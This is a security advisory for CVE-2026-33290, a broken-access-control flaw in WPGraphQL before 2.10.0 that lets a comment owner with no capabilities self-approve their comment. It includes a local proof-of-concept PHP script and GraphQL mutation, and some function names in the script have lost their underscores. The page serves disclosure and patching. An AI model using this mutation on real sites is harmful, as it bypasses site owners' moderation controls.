CVE-2026-33290: WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission

Published Mar 23, 2026
·
Updated

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderatecomments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.

Details

In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:

- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress commentapproved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wpupdatecomment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).

This means a non-moderator owner can submit status during update and transition moderation state.

PoC

Tested in local wp-env (Docker) with WPGraphQL 2.9.1.

1. Start environment:

npm install npm run wp-env start

2. Run this PoC:

npm run wp-env run cli -- wp eval ' addrole("nocaps","No Caps",[]); $userid = usernameexists("pocnocaps"); if ( ! $userid ) { $userid = wpcreateuser("pocnocaps","Passw0rd!","pocnocaps@example.com"); } $user = getuserby("id",$userid); $user->setrole("nocaps");

$postid = wpinsertpost([ "posttitle" => "PoC post", "poststatus" => "publish", "posttype" => "post", "commentstatus" => "open", ]);

$commentid = wpinsertcomment([ "commentpostID" => $postid, "commentcontent" => "pending comment", "userid" => $userid, "commentauthor" => $user->displayname, "commentauthoremail" => $user->useremail, "commentapproved" => "0", ]);

wpsetcurrentuser($userid);

$result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$commentid ], ]);

echo wpjsonencode([ "rolecaps" => arraykeys(arrayfilter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "dbcommentapproved" => getcomment($commentid)->commentapproved ?? null, "commentid" => $commentid ]); '

3. Observe result:

- rolecaps is empty (or no moderatecomments) - mutation returns status: APPROVE - DB value becomes commentapproved = 1

Impact

This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

Affected Software

1 affected component
WPGraphQL WPGraphQL<2.10.0

Event History

Mar 23, 2026
CVE Published
via MITRE·11:58 PM
Data Sourced
via MITRE·11:58 PM
DescriptionSeverityWeakness
Mar 24, 2026
Data Sourced
via NVD·01:17 AM
DescriptionSeverityWeakness
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33290?

CVE-2026-33290 is classified as a high-severity vulnerability due to its impact on comment moderation controls.

2

How do I fix CVE-2026-33290?

To fix CVE-2026-33290, update WPGraphQL to version 2.10.0 or later.

3

Who is affected by CVE-2026-33290?

Users of WPGraphQL versions prior to 2.10.0 are affected by CVE-2026-33290.

4

What type of vulnerability is CVE-2026-33290?

CVE-2026-33290 is an authorization flaw that allows low-privileged users to change comment moderation status.

5

Is CVE-2026-33290 easy to exploit?

Yes, CVE-2026-33290 is easy to exploit as it requires low privileges for unauthorized users to change comment statuses.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203